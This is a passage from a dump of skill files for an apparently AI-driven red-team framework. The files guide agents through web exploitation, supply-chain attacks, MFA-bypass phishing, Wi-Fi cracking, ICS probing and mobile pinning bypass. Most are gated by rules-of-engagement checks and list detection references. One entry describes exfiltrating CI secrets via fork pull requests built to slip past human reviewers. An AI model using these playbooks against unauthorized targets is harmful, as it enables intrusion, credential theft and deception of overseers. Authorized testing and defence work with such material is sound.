agent prompts (`recon.md`, `exploit.md`, `decepticon.md`)\nintentionally do not encode it — they route via the domain router skills\n(`/skills/standard/exploit//SKILL.md`) on observation evidence.\n\n**Consumer**: the orchestrator (`decepticon.md`). When dispatching exploit, the orchestrator\nmay consult this table to pick the matching sub-skill directly from the pre-declared tags,\nskipping the observation-based router classification. **Recon does NOT consume this table**\n— recon's role is observation, not classification or skill recommendation.\n\n| `Vulnerability tag` | `/skills/standard/exploit/web//SKILL.md` |\n|---|---|\n| `sqli` | `sqli.md` |\n| `blind_sqli` | `blind-sqli.md` (load with `sqli.md` when sqlmap+tamper is exhausted) |\n| `xss` | `xss.md` |\n| `ssti` | `ssti.md` |\n| `ssrf` | `ssrf.md` |\n| `xxe` | `xxe.md` |\n| `lfi` | `lfi.md` |\n| `path_traversal` | `lfi.md` |\n| `command_injection` | `command-injection.md` |\n| `insecure_deserialization` | `deserialization.md` |\n| `idor` | `idor.md` |\n| `arbitrary_file_upload` | `file-upload.md` |\n| `file_upload` | `file-upload.md` |\n| `graphql` | `graphql.md` |\n| `race_condition` | `race-condition.md` |\n| `smuggling` | `smuggling.md` |\n| `crypto` | `crypto.md` |\n| `business_logic` | `business-logic.md` |\n| `default_credentials` | `business-logic.md` |\n| `jwt` | `business-logic.md` (no dedicated file) |\n| `cve` | `cve.md` |\n\nFor multiple tags → emit one `REQUIRED SKILL LOAD:` line per mapped skill.\n\n## What this skill is NOT\n\n- vulnerability routing → `/skills/standard/exploit/{web,ad}/SKILL.md`\n- recon playbooks → `/skills/standard/recon//SKILL.md`\n- OPSEC → `/skills/shared/opsec/SKILL.md`\n- per-challenge context → middleware-injected, every turn\n- agent-specific behavior → that agent's prompt and `/skills//`\n","packages/decepticon/decepticon/skills/standard/supply-chain/SKILL.md":"---\nname: supply-chain-overview\ndescription: >\n Use when the engagement scope includes supply-chain attack simulation —\n typosquatted package publication, dependency confusion, GitHub Actions\n secret mining, internal mirror poisoning, OAuth-app impersonation,\n or vendor portal credential abuse.\nmetadata:\n skillogy:\n version: 1\n subdomain: supply-chain\n when_to_use: \"supply chain typosquat dependency confusion gh actions secret oauth app impersonation internal mirror poisoning vendor portal\"\n tags: supply-chain, typosquatting, dep-confusion, gh-actions, oauth-app\n mitre_attack: T1195, T1195.001, T1195.002, T1199, T1136, T1543\n---\n\n# Supply Chain Operator Skill Catalog\n\nSupply-chain attacks have grown 1,300% since 2020 per Decepticon's own\n[ai-red-teaming.md](../../red-team/tools-techniques.md). This catalog\ngives the agent the playbooks to simulate the most common patterns —\nall in a sandbox-isolated mode that publishes to a local mock registry by\ndefault and to a real one only with `supply_chain_real_publish=true` in\nConOps.\n\n## Playbooks\n\n> **Inline technique reference — not separately loadable skills.** The entries below\n> are summarized here for direct use; there is no separate `SKILL.md` to open for\n> each. Do NOT call the skill loader on them — apply the technique with your tools\n> using this summary and the technical guidance in this file.\n\n\n| Technique | Use for |\n|---|---|\n| **typo-name-gen** | Generate typosquat candidates for a target package; reachability + popularity score |\n| **dep-confusion-probe** | Check whether an internal package name is squat-able on PyPI / NPM / RubyGems / NuGet |\n| **post-install-script** | Author + sandboxed publish of a benign post-install probe |\n| **gh-actions-fork-pr** | Fork-PR secret mining; `pull_request_target` misconfiguration scan |\n| **oauth-app-impersonation** | Lookalike OAuth app + scope-creep social engineering |\n| **internal-mirror-poison** | Verdaccio / Artifactory / Nexus index manipulation |\n| **sbom-divergence** | Audit SBOM vs actual installed packages for drift |\n| **vendor-portal-creds** | SaaS vendor admin portal credential abuse paths |\n\n## Dry-run mode\n\nAll publish-mode skills accept a `--dry-run` flag that:\n\n1. Generates the typosquat package contents in `/workspace/typo-pkg/`.\n2. Builds the artifact (`.tar.gz`, `.tgz`, etc.) without uploading.\n3. Computes the \"hit probability\" via the target package's historical\n download counts + Levenshtein distance.\n4. Reports the artifact location + hit probability for human review.\n\nReal publish requires both `supply_chain_real_publish=true` in ConOps AND\noperator HITL approval at the moment of publish. Defense in depth.\n\n## GitHub Actions attack surface\n\nMost rewarding attack class in 2024-2026. Common misconfigurations:\n\n- `pull_request_target` with `actions/checkout` of `${{ github.event.pull_request.head.sha }}`\n → fork PRs run with target-repo secrets.\n- `workflow_run` triggers reading `inputs` without sanitization.\n- `${{ github.event.pull_request.title }}` interpolated into shell.\n- Shared `GITHUB_TOKEN` with write scope on `contents`.\n\nThe `gh-actions-fork-pr` skill encodes the full enumeration: search the\ntarget org's workflows, identify exploitable patterns, build a PoC fork\nPR that exfiltrates `secrets.*` without modifying the workflow file\nitself (so the operator's PR doesn't look obviously malicious to a human\nreviewer).\n\n## Detection references\n\nSupply-chain detection and assurance artifacts include:\n\n- A Sigma rule for the SIEM (e.g., unusual `npm install` in CI logs,\n `actions/checkout@` followed by `secrets.*` reference patterns).\n- A GitHub Actions YAML linter rule for the customer's pre-merge checks.\n- A SLSA attestation gap report.\n\n## Out of scope\n\nReal-world publication that could harm third parties (other companies\nwho consume the customer's internal packages). The `dep-confusion-probe`\nexplicitly avoids this by checking name availability without uploading;\nthe operator decides whether to follow through.\n","packages/decepticon/decepticon/skills/standard/reverser/SKILL.md":"---\nname: reverser-overview\ndescription: Root pointer for the binary reversing lane. Covers triage, Radare2 fallback, string extraction, packer unpacking, virtualized protectors, symbol risk, ROP, Ghidra deep analysis, and firmware extraction.\nmetadata:\n subdomain: reverse-engineering\n when_to_use: \"reverser binary reversing triage strings packer unpack rop ghidra firmware VMProtect VMP2 Themida virtualized protectors overview routing\"\n upstream_ref: \"Decepticon reverser lane catalog — Ghidra, Radare2, Back Engineering VMProtect/Themida research, AFL++, libFuzzer, binwalk, and binary triage tooling\"\n capability_contract:\n lane: reverse-engineering\n scope: isolated-lab\n environment: [analysis-container, disposable-vm]\n required_tools: [ghidra, radare2, sanitizer]\n evidence: [binary-sha256, function-map, dynamic-trace, minimized-input]\n verification: \"reproduce the claimed behavior against the pinned binary hash\"\n negative_control: \"run a benign corpus input through the same harness\"\n scorecard: [reproducer-rate, root-cause-rate, artifact-completeness]\n benchmark: held-out-reversing\n---\n\n# Reverser Skill Catalog\n\n## Playbooks\n| Skill | Use for |\n|---|---|\n| `/skills/standard/reverser/triage/SKILL.md` | First-pass ELF/PE/Mach-O triage |\n| `/skills/standard/reverser/firmware/SKILL.md` | Router / IoT firmware extraction |\n| `/skills/standard/reverser/packer-unpacking/SKILL.md` | UPX / ASPack / Themida / VMProtect |\n| `/skills/standard/reverser/virtualized-protectors/SKILL.md` | VMProtect / VMP2 / Themida workflow |\n| `/skills/standard/reverser/rop-chain/SKILL.md` | Gadget hunting for exploit dev |\n| `/skills/standard/reverser/anti-debug-bypass/SKILL.md` | IsDebuggerPresent, ptrace, NtGlobalFlag |\n| `/skills/standard/reverser/ghidra/SKILL.md` | Deep Ghidra analysis — decompile, xrefs, imports, P-code |\n| `/skills/standard/reverser/windows-internals/SKILL.md` | Defensive driver exposure assessment in disposable Windows VMs |\n| `/skills/standard/reverser/game-security/SKILL.md` | Self-hosted game client, protocol, replay, and server-authority research |\n\n## Workflow\n1. Check which reversing tools the active runtime exposes. Hosted runs use an isolated REA/Ghidra companion and mirrored GUI; standalone OSS starts the `reversing` workload for REA native analysis.\n2. `bin_identify` — format, arch, NX/PIE\n3. `bin_packer` — entropy + signature\n4. If packed → follow the packer-unpacking skill, re-identify after unpack\n5. `bin_strings` — category=url/ip/crypto/secret/version to seed the graph\n6. `bin_symbols_report` — risk bucket classification\n7. Version strings → `cve_lookup` + `cve_by_package`\n8. In hosted runs, the engagement agent passes a discovered `/workspace` binary to `rea_open_binary` and discovers available native tools with `rea_find_tools`. In standalone OSS, call `rea_find_tools(binary_path, query)` to pin the binary and discover the active Ghidra provider's tools.\n9. Inspect functions and cross-references with REA native tools, preserving each Evidence ID and bundle manifest. Hosted GUI visibility is a separate readback claim. In standalone OSS, use `rea_call_tool` for deep analysis and `bin_r2_script` as a fallback when REA is unavailable.\n10. Record every observation in the knowledge graph\n","packages/decepticon/decepticon/skills/standard/phisher/SKILL.md":"---\nname: phishing-overview\ndescription: >\n Phishing / social-engineering catalog for the Phisher agent. Use ONLY when the\n engagement RoE authorizes a phishing engagement. Covers pretext design, GoPhish\n campaigns, evilginx2 MFA-bypass proxying, O365 credential/token harvest, lookalike\n domains, and the mandatory blue-team deconfliction handshake.\nmetadata:\n skillogy:\n version: 1\n subdomain: phishing\n when_to_use: \"phishing, social engineering, initial access, gophish, evilginx2, mfa bypass, lure, pretext, o365 oauth, lookalike domain, deconfliction\"\n mitre_attack:\n - T1566\n - T1566.001\n - T1566.002\n - T1598\n - T1656\n tags:\n - phishing\n - social-engineering\n - initial-access\n - evilginx\n - gophish\n---\n\n# Phishing / Social-Engineering Skill Catalog\n\n**Gating.** Every skill here refuses to execute unless the engagement\nRoE authorizes a phishing engagement and the blue-team\ndeconfliction acknowledgment (`lure-deconfliction`) is recorded for\nthat campaign's scope and send window. Phishing\nreal employees without written authorization is a crime — the RoE +\ndeconfliction ack are the operator's legal coverage.\n\n## Playbooks\n\n| Skill | Use for |\n|---|---|\n| `/skills/standard/phisher/pretext-engineering/SKILL.md` | Design the pretext + target shortlist from OSINT (LinkedIn / Hunter.io) |\n| `/skills/standard/phisher/gophish-campaign/SKILL.md` | GoPhish API: groups, email templates, landing pages, campaign launch + tracking |\n| `/skills/standard/phisher/evilginx2-proxy/SKILL.md` | evilginx2 phishlet authoring; capture session cookies past MFA |\n| `/skills/standard/phisher/o365-credential-harvest/SKILL.md` | O365 / Entra OAuth device-code + token capture and replay |\n| `/skills/standard/phisher/lookalike-domain/SKILL.md` | Punycode / lookalike domain + DNS + TLS provisioning |\n| `/skills/standard/phisher/lure-deconfliction/SKILL.md` | MANDATORY blue-team acknowledgment and evidence before sending |\n\n## Infrastructure pattern\n\n```\n[Target inbox] -> [NGiNX reverse proxy on attacker domain]\n ├─ /login → evilginx2 phishlet (MFA bypass + session capture)\n └─ /landing → GoPhish (campaign tracking + analytics)\n```\n\n- The NGiNX layer is OPSEC: blue-team URL classifiers see one domain;\n internal routing splits phishlet vs landing by path / referer.\n- TLS via Let's Encrypt + `acme.sh`; keep ACME challenges off the\n phishlet path.\n- SPF / DKIM / DMARC must be correct on the sender domain or modern\n inboxes drop the mail. Soundwave's phishing template walks the\n operator through DNS setup.\n\n## Deconfliction (mandatory)\n\nEvery outbound mail carries an engagement header\n(`X-Decepticon-Eng: `) the SOC allow-lists so simulated phishing\nis distinguishable from a real attack. The `lure-deconfliction` skill\nis a hard gate before the first send — skipping it is a critical RoE\nviolation.\n\n## Failsafe\n\nOn operator stop or SOC request, wind down within 5 minutes: pause the\nGoPhish campaign, return 502 on the evilginx2 phishlet, and repoint the\nsender domain to a static \"this was an authorized test — contact your\nsecurity team\" page.\n","packages/decepticon/decepticon/skills/standard/wireless/SKILL.md":"---\nname: wireless-overview\ndescription: >\n Top-level index for the Decepticon 802.11 wireless attack suite. Routes the\n WirelessOperator to the correct leaf skill based on the target AP's crypto\n column (PSK / SAE / MGT / WPS) and engagement posture. BLE, Zigbee, Z-Wave,\n LoRaWAN, and sub-GHz live under iot/ by design — link provided below to\n prevent duplication.\nallowed-tools: Bash Read Write\nmetadata:\n skillogy:\n version: 1\n subdomain: wireless\n when_to_use: \"Wi-Fi, 802.11, WPA2, WPA3, EAP, enterprise, evil-twin, deauth, WPS, PSK, SAE, wireless attack, airspace, WLAN, rogue AP\"\n tags:\n - wifi\n - 802.11\n - wpa2\n - wpa3\n - eap\n - evil-twin\n - deauth\n - wps\n mitre_attack: T1040, T1557, T1110.001\n---\n\n# 802.11 Wireless Attack Suite — Operator Index\n\n> Verify the configured hardware mode and authorized wireless scope\n> before using a leaf skill. This index maps the target's crypto mode\n> to the applicable techniques.\n\n## Playbook table\n\n| Leaf skill | Crypto column / trigger | Primary MITRE | Status |\n|---|---|---|---|\n| [wpa2-psk](wpa2-psk/SKILL.md) | `WPA2 PSK`, `WPA PSK` | T1040, T1110.001 | shipped |\n| [wpa3-sae](wpa3-sae/SKILL.md) | `WPA3 SAE`, `WPA2 WPA3` transition mode | T1557, T1040 | shipped |\n| [wpa-enterprise-eap](wpa-enterprise-eap/SKILL.md) | `MGT`, `WPA-Enterprise`, `802.1X` | T1557, T1110.001 | shipped |\n| [wps-pixie-dust](wps-pixie-dust/SKILL.md) | WPS column non-empty, `WPS` flag in wash | T1110.001, T1040 | shipped |\n| [evil-twin-karma](evil-twin-karma/SKILL.md) | Open / PSK, PNL probe leakage, captive portal | T1557, T1556 | shipped |\n| [deauth-pmf](deauth-pmf/SKILL.md) | Any target needing client reconnect or 802.11w posture finding | T1498, T1040 | shipped |\n| [krack-fragattacks](krack-fragattacks/SKILL.md) | Legacy / embedded supplicant, key-reinstallation / fragmentation test | T1557, T1040 | shipped |\n\n> BLE GATT, Zigbee Touchlink, Z-Wave, LoRaWAN, and sub-GHz attacks\n> are scoped to `standard/iot/`. Cross-reference that suite when the\n> objective targets non-802.11 RF.\n\n## Hardware mode pointer\n\nLeaf skills require the configured mode and its actual hardware access:\n\n```\nmode = plan/roe.json:machine_enforcement.wireless.mode\n \"in_sandbox\" → USB passthrough, monitor mode inside Kali\n \"dropbox\" → ssh -- '' for every wireless op\n \"none\" → refuse, return outcome=blocked\n```\n\n## Crypto-mode decision tree\n\n```\nairodump-ng --write-interval 1 --output-format csv ...\nRead the ENC/CIPHER/AUTH columns:\n\n ENC=WPA2, AUTH=PSK → wpa2-psk\n ENC=WPA3, AUTH=SAE → wpa3-sae\n ENC=WPA2+WPA3, AUTH=SAE+PSK → wpa3-sae (transition-mode downgrade path)\n AUTH=MGT / 802.1X → wpa-enterprise-eap\n WPS column non-empty → wps-pixie-dust (run in parallel with PSK path)\n Open / no credential needed → evil-twin-karma (KARMA/portal capture)\n\nAfter selecting the primary leaf, always check:\n - deauth-pmf: needed if Path B (four-way) is chosen OR as standalone PMF finding\n - krack-fragattacks: applicable when target is legacy/embedded/poor-patch-cadence\n```\n\n## KG node contract\n\nAll wireless leaf skills use the same node types:\n\n| Node kind | Typical props |\n|---|---|\n| `Network` | ssid, bssid, channel, crypto, pmf_state |\n| `Host` | mac, oui, last_seen_bssid |\n| `Credential` | secret_type, ssid, bssid, psk/eap_identity/eap_challenge |\n| `Finding` | title, cve_ids (if applicable), severity, remediation |\n\n## OPSEC posture cross-reference\n\n| posture | techniques permitted |\n|---|---|\n| `stealth` | PMKID (wpa2-psk Path A), passive PMF detect (deauth-pmf), Pixie-Dust only |\n| `standard` | + targeted deauth (1 frame), EAP capture, WPS Pixie-Dust |\n| `loud` | + broadcast deauth, evil-twin, KARMA, beacon flood, online WPS brute |\n\n> Evil-twin always requires explicit `permitted_actions: evil_twin` in\n> `plan/roe.json` regardless of posture.\n","packages/decepticon/decepticon/skills/standard/ics/SKILL.md":"---\nname: ics-overview\ndescription: >\n Use when the target is an industrial control system or operational technology\n network running Modbus, BACnet, S7Comm/S7Comm Plus, DNP3, OPC-UA, or any\n PLC/HMI/SCADA stack. Engagements MUST set RoE flag\n industrial_safety_critical=true; this catalog gates every write-scope\n operation behind explicit operator confirmation regardless of HITL middleware.\nmetadata:\n skillogy:\n version: 1\n subdomain: ics\n when_to_use: \"ics ot industrial control modbus bacnet s7comm dnp3 opcua plc hmi scada safety-critical operational technology\"\n tags: ics, ot, scada, plc, hmi, modbus, bacnet, s7, dnp3, opcua\n mitre_attack: T0800, T0801, T0859, T0830, T0814, T0846\n safety_critical: true\n---\n\n# ICS / OT Operator Skill Catalog\n\nIndustrial engagements are not application security with longer rules of\nengagement — they are a different discipline. A miswritten Modbus coil\non a real plant kills people. This catalog is **read-mostly by default**;\nevery write-scope skill carries an explicit safety gate.\n\n## Hard rules\n\n1. **No writes without OPPLAN.safety_critical confirmation**. The\n middleware refuses writes when the active OPPLAN objective does not\n carry `safety_critical_confirmed=true`. Bypass requires operator\n signature in `/workspace/safety-attestation.txt`.\n2. **Read-only protocol discovery first**. Identify what's on the wire\n before any active probing. Many ICS protocols are unauthenticated;\n a single malformed read can crash an old PLC.\n3. **Out-of-band physical safety**. The blue team includes plant ops.\n A ConOps with `blue_team.plant_ops_phone` is mandatory for engagements\n on active production lines.\n\n## Playbooks\n\n> **Inline technique reference — not separately loadable skills.** The entries below\n> are summarized here for direct use; there is no separate `SKILL.md` to open for\n> each. Do NOT call the skill loader on them — apply the technique with your tools\n> using this summary and the protocol assessment guidance in this file.\n\n\n| Technique | Use for |\n|---|---|\n| **modbus-discovery** | Read-only Modbus TCP/RTU enumeration, function code 3/4 polling |\n| **modbus-write** | **GATED** Write coils / registers; safety gate enforced |\n| **bacnet-discovery** | BACnet/IP Who-Is, object enumeration, device profile |\n| **s7comm** | Siemens S7 / S7Comm Plus enumeration via Snap7 / python-snap7 |\n| **dnp3** | DNP3 outstation / master discovery; integrity poll |\n| **opcua** | OPC-UA browse, anonymous auth check, certificate analysis |\n| **hmi-web** | HMI web stacks (Wonderware, Iconics, Schneider) — known CVEs |\n| **engineering-software** | TIA Portal / Studio 5000 / Unity Pro project extraction |\n\n## Protocol assessment\n\n1. **Passive observation**: tap a SPAN port if available. Identify protocols\n on the wire (`tshark -Y modbus || tshark -Y bacnet || ...`).\n2. **Network-layer discovery**: nmap with `-sV --script modbus-discover`,\n `bacnet-info`, `s7-info`, `dnp3-info` (NSE scripts ship in Kali by\n default; some are slow — set `-T2` for production networks).\n3. **Function-code-3 polling**: read holding registers from every Modbus\n device discovered. Log register maps to the knowledge graph as\n `:Service` nodes with `protocol=modbus`.\n4. **Identify the safety integrity level (SIL)** of any device touched.\n SIL 3+ devices NEVER get write probes without plant-ops sign-off.\n5. **Engineering software attack path**: if you can reach the engineering\n workstation, extract the project archive (.s7p, .acd, .stp). The\n project file is the crown jewel — it reveals the entire process model.\n\n## Detection gap\n\nICS networks rarely have host-based detection on PLCs/RTUs themselves —\nthe detection stack lives on the engineering workstation, the historian,\nand any IT/OT gateway. Relevant Sigma detection patterns include:\n\n- Function-code anomalies (write to coils outside normal ranges).\n- Connection sources outside the documented MES/SCADA IP set.\n- TIA Portal / Studio 5000 project download events.\n\n## Out of scope by default\n\nActive glitching of PLC firmware; firmware upload to PLCs; safety\ncontroller writes — all of these require an explicit RoE annex signed\nby the asset owner. The default ICS RoE template in `soundwave/` includes\nthis annex skeleton.\n","packages/decepticon/decepticon/skills/standard/mobile/SKILL.md":"---\nname: mobile-overview\ndescription: >\n Use when the engagement target is an Android (APK / AAB) or iOS (IPA)\n application. Covers static analysis (jadx, apktool, class-dump),\n dynamic instrumentation via Frida and Objection, SSL-pinning bypass,\n root/jailbreak detection bypass, deep-link / URL-scheme abuse,\n exported-component attacks, IPC redirection, WebView vulnerabilities,\n and biometric / Face ID / Touch ID bypass.\nmetadata:\n subdomain: mobile\n when_to_use: \"mobile android ios apk aab ipa jadx apktool frida objection ssl pinning bypass root jailbreak detection deep link url scheme exported component ipc webview biometric face id touch id\"\n subdomain: mobile\n tags: mobile, android, ios, frida, objection, ssl-pinning, jadx, apktool\n mitre_attack: T1635, T1623, T1517, T1521, T1517.001\n---\n\n# Mobile Operator Skill Catalog\n\nMobile is 40% of modern bug-bounty programs and is conspicuously absent\nfrom Strix and XBOW commercial. This catalog covers both platforms with\nshared Frida tooling for runtime work.\n\n## Playbooks — Android\n\n> **Inline technique reference — not separately loadable skills.** The entries below\n> are summarized here for direct use; there is no separate `SKILL.md` to open for\n> each. Do NOT call the skill loader on them — apply the technique with your tools\n> using this summary and the Workflow in this file.\n\n\n| Technique | Use for |\n|---|---|\n| **apk-triage** | apktool decode + jadx -d for source recovery |\n| **manifest-analysis** | exported components, permissions, deeplinks |\n| **insecure-storage** | SharedPreferences / SQLite / external storage scans |\n| **intent-redirection** | Intent forwarding / pendingIntent abuse |\n| **webview-flaws** | JavaScriptInterface, file:// access, mixed content |\n| **frida-ssl-pin-bypass** | OkHttp / TrustKit / Cordova pin-bypass scripts |\n| **root-detect-bypass** | Common root-detection libraries and their bypasses |\n\n## Playbooks — iOS\n\n| Technique | Use for |\n|---|---|\n| **ipa-triage** | class-dump-z + Hopper; Mach-O headers; entitlements |\n| **keychain-acl** | Keychain ACL misconfigurations; `kSecAccessControl` flags |\n| **url-scheme-abuse** | Universal links + URL scheme handler attacks |\n| **xpc-services** | XPC interface enumeration; unauthenticated XPC services |\n| **frida-trust-killer** | SSL Kill Switch + Frida pin-bypass for iOS apps |\n| **jailbreak-detect-bypass** | DTAppJailbreakDetectorSwift, Liberty Lite, common patterns |\n\n## Cross-platform\n\n| Technique | Use for |\n|---|---|\n| **frida-bridge** | frida-server install on emulator / jailbroken device; basic scripts |\n| **objection-walkthrough** | Objection cheatsheet (env, memory, sqlite, classes) |\n| **firebase-misconfig** | Firebase /Firestore RLS / Storage / Auth bypasses |\n| **mobile-api-testing** | Burp / Caido proxy → mobile API endpoint enumeration |\n\n## Workflow\n\n1. **Triage**: jadx for Android, class-dump for iOS. Search strings for\n API endpoints, Firebase config, AWS keys.\n2. **Static**: AndroidManifest.xml exported components; iOS Info.plist\n URL schemes + entitlements.\n3. **Dynamic setup**: Frida server on a rooted emulator (Android) or\n jailbroken physical device (iOS); Objection for quick inspection.\n4. **SSL pin bypass**: Frida script; verify HTTPS now visible in Burp.\n5. **API enumeration**: re-route the app through the proxy; spider\n reachable endpoints; export to Burp project for later web-recon-style\n testing.\n6. **Insecure storage**: pull `/data/data//` (Android) or app\n container (iOS); grep for credentials, tokens, PII.\n7. **Component-level attacks**: send crafted Intents (`adb shell am\n start ...`) or URL-scheme payloads (`xcrun simctl openurl ...`).\n\n## Tools sandbox\n\n- adb + emulator / physical device.\n- jadx, apktool, dex2jar, jd-gui.\n- class-dump, Hopper Disassembler, IDA Free (host-side).\n- Frida-server (per device), frida (host), objection.\n- mitmproxy / Burp Suite Community / Caido (PR #304 lands the LangChain\n Caido tool bundle).\n- MobSF (`mobsf` Docker image) for automated triage when speed matters.\n","packages/decepticon/decepticon/skills/standard/osint/SKILL.md":"---\nname: osint-overview\ndescription: >\n Use when the engagement requires passive reconnaissance only — no\n packets to the target's authoritative infrastructure. Splits off from\n the Recon agent so bug-bounty and pre-engagement work can run with\n outbound-only network policy. Maltego, Shodan, Censys, Hunter.io,\n breach-data lookups, GitHub code search, Wayback Machine archives,\n certificate transparency, BGP/ASN mapping.\nmetadata:\n skillogy:\n version: 1\n subdomain: osint\n when_to_use: \"osint passive reconnaissance maltego shodan censys hunter breach data github code search wayback machine certificate transparency bgp asn outbound only bug bounty\"\n subdomain: osint\n tags: osint, passive-recon, shodan, censys, breach-data, ct-logs, bgp\n mitre_attack: T1589, T1590, T1591, T1593, T1594, T1596\n network_policy: outbound-only\n---\n\n# OSINT-Only Operator Skill Catalog\n\nThis catalog is **passive**. No packets reach the target. Sandbox network\npolicy must restrict outbound to known-OSINT endpoints only (Shodan,\nCensys, Hunter, GitHub API, crt.sh, Wayback, etc.).\n\n## Playbooks\n\n> **Inline technique reference — not separately loadable skills.** The entries below\n> are summarized here for direct use; there is no separate `SKILL.md` to open for\n> each. Do NOT call the skill loader on them — apply the technique with your tools\n> using this summary and the passive analysis guidance in this file.\n\n\n| Technique | Use for |\n|---|---|\n| **domain-pivots** | Whois history, reverse-IP, related-domain enumeration |\n| **ct-logs** | crt.sh / Censys cert search for subdomain enumeration |\n| **shodan-fingerprint** | Shodan host search; service / banner / ssl.cn pivots |\n| **censys-pivots** | Censys cert/host/services pivots |\n| **github-code-search** | GitHub code search for org's leaked secrets / config |\n| **wayback-archives** | Wayback Machine API; retired endpoints, deleted docs |\n| **breach-data** | HIBP / DeHashed (RoE-permitted only); credential reuse paths |\n| **employee-profiling** | LinkedIn search (Sales Nav / manual), email-format inference |\n| **asn-bgp** | ASN ownership, BGP table snapshots, RIR records |\n| **maltego** | Maltego CLI graph projection; transform chain |\n| **cryptocurrency** | Chain analysis (Etherscan / Mempool.space / Arkham) for crypto-adjacent targets |\n| **geospatial** | Image geolocation, EXIF mining, satellite/streetview cross-reference |\n\n## Passive analysis\n\n1. **Seed**: from the engagement target (domain, company name, brand).\n2. **Domain layer**: whois, reverse-IP, CT logs → enumerate every\n subdomain and adjacent domain.\n3. **Service layer**: Shodan + Censys against discovered IPs → service\n inventory (NO probing; just consume cached scan data).\n4. **Code layer**: GitHub code search for the target's org name, domain\n names, internal package names, AWS account IDs.\n5. **People layer**: employees via LinkedIn; email format inference;\n HaveIBeenPwned for credential reuse.\n6. **Infrastructure layer**: BGP + ASN ownership; Wayback retired\n endpoints; SSL/TLS cert history.\n7. **Synthesis**: project the graph into Neo4j as a pre-engagement map.\n Active confirmation requires RoE permission and is outside this\n passive-only catalog.\n\n## Network policy\n\n```\n[osint-operator container] → outbound to: shodan.io, api.censys.io,\n api.hunter.io, api.github.com,\n crt.sh, archive.org, hibp/api/v3,\n maltego.com, etherscan.io, ...\n NO outbound to the engagement target.\n```\n\nThe sandbox-net policy for OSINT engagements pins this allowlist. Any\nattempted egress to the actual target IP/domain triggers a SafeCommand\nrefusal.\n\n## Why split from Recon\n\nRecon is active by default — port scans, version probing, directory\nbrute-forcing. Bug-bounty programs and pre-engagement scoping work\nexplicitly forbid touching production. OSINT-only enforces the\nno-touch contract structurally rather than relying on the agent prompt\nto remember.\n","packages/decepticon/decepticon/skills/standard/contracts/SKILL.md":"---\nname: contracts-overview\ndescription: Smart contract audit lane — Solidity/EVM pattern scanner, Slither ingestion, Foundry PoC generation, DeFi attack playbooks.\nmetadata:\n subdomain: smart-contracts\n when_to_use: \"smart contract solidity evm slither foundry defi audit lane overview routing\"\n mitre_attack:\n - T1190\n - T1565\n - T1565.001\n capability_contract:\n lane: web3\n scope: isolated-lab\n environment: [anvil, forked-chain]\n required_tools: [forge, slither]\n evidence: [foundry-poc, evm-trace, patched-build-result]\n verification: \"run the exploit test against the exact deployment or pinned fork\"\n negative_control: \"run the baseline test without the exploit precondition\"\n scorecard: [validated-rate, patched-build-non-repro-rate, unique-root-causes]\n benchmark: held-out-web3\n---\n\n# Smart Contract Audit Catalog\n\n## Playbooks\n| Skill | Use for |\n|---|---|\n| `/skills/standard/contracts/reentrancy/SKILL.md` | Classic + read-only reentrancy |\n| `/skills/standard/contracts/oracle-manipulation/SKILL.md`| Single-block TWAP / spot price abuse |\n| `/skills/standard/contracts/flash-loan/SKILL.md` | Flash-loan callback + unauth gadgets |\n| `/skills/standard/contracts/access-control/SKILL.md` | Missing modifiers, wrong msg.sender |\n| `/skills/standard/contracts/upgradeable-proxy/SKILL.md` | Uninitialized impl, storage clash |\n| `/skills/standard/contracts/signature-replay/SKILL.md` | Cross-chain, ecrecover zero address |\n\n## Workflow\n1. Map the target: `bash(\"find /workspace/src -name '*.sol' | head -50\")`\n2. `solidity_scan_file` on each file\n3. Run slither: `bash(\"cd /workspace && slither . --json slither.json\")`\n4. `slither_ingest(\"/workspace/slither.json\")`\n5. `kg_query(kind=\"vulnerability\", min_severity=\"high\")` to see the highs\n6. For each high, generate a Foundry PoC via `foundry_reentrancy_test` etc.\n7. `bash(\"forge test -vvv --match-contract Test_\")` to run\n8. Promote passing PoCs as validated findings\n\n## Default severity floor\n| Impact | CVSS / Reward tier |\n|--------------------------------|--------------------|\n| Loss of user funds | Critical (9.8+) |\n| Locked funds / permanent DoS | High (7.5-9.0) |\n| Temporary DoS / griefing | Medium (5-7) |\n| View-only data leak | Low (3-5) |\n","integrations/agent-skills/decepticon/SKILL.md":"---\nname: decepticon\ndescription: \"Operate Decepticon OSS through its installed CLI and engagement MCP tools when the user asks to run or inspect an authorized security engagement or a local Blue Cell. Do not use for unrelated security questions or raw scanner commands.\"\nlicense: Apache-2.0\nmetadata:\n version: 2.1.0\n homepage: \"https://github.com/BitterSecurity/Decepticon\"\n---\n\n# Decepticon operator\n\nUse Decepticon as the user's security platform. The host `decepticon` command\nmanages the installation and opens an interactive CLI. The registered MCP\nserver exposes engagement control and observation to coding agents. These\ninterfaces cover different operations; choose the one that actually exists.\n\n## Connect\n\n1. Check `decepticon status`. If the installation is missing, the user can run\n `decepticon onboard`. `decepticon start` starts services and opens the\n interactive terminal; it is not a headless scan command.\n2. For MCP, confirm `decepticon_list_graphs` works. A connection error means\n the stack or MCP registration needs attention. See the\n [integration guide](https://github.com/BitterSecurity/Decepticon/blob/main/docs/integrations/external-agents.md) for\n Claude Code and Codex registration.\n3. The user can install this skill for both clients with\n `decepticon skill install` after a release containing that command.\n\n## Choose the operation\n\n| Request | Supported surface |\n|---|---|\n| Discover agents, list engagements, read status or a compact state summary | MCP `decepticon_list_graphs`, `decepticon_list_engagements`, `decepticon_engagement_status`, `decepticon_engagement_state` |\n| Watch an engagement | MCP `decepticon_transcript` with `next_index`; `decepticon_watch` for a bounded live sample |\n| Send a follow-up or stop a run | MCP `decepticon_send_message` or `decepticon_cancel_engagement` |\n| Onboard, start, stop, update, inspect services | Host `decepticon` command |\n| Start or stop a local Blue Cell sensor | Interactive CLI `/blue up`, `/blue stop` |\n| Inspect a running Blue Cell | MCP `decepticon_blue_status`, `decepticon_blue_sources`, `decepticon_blue_events`, `decepticon_blue_incidents`, `decepticon_blue_notifications`, `decepticon_blue_body`, `decepticon_blue_search`, `decepticon_blue_timeline`; interactive CLI `/blue verify` and `/blue analyze` |\n| List or toggle agent plugin bundles | MCP `decepticon_plugin_bundles`, `decepticon_plugin_enable`, `decepticon_plugin_disable`; interactive CLI `/plugins` |\n| Control web dashboard or select the active CLI agent | Interactive CLI `/web`, `/agent` |\n\nDo not invent MCP tools for Blue Cell setup or service\nmanagement. The slash commands above work inside Decepticon's interactive\nterminal, not in the shell or the MCP bridge.\n\n- Poll `decepticon_blue_events` with its `next_after` cursor and\n `decepticon_blue_notifications` with its separate `next_after` cursor.\n- Check `decepticon_blue_status` for 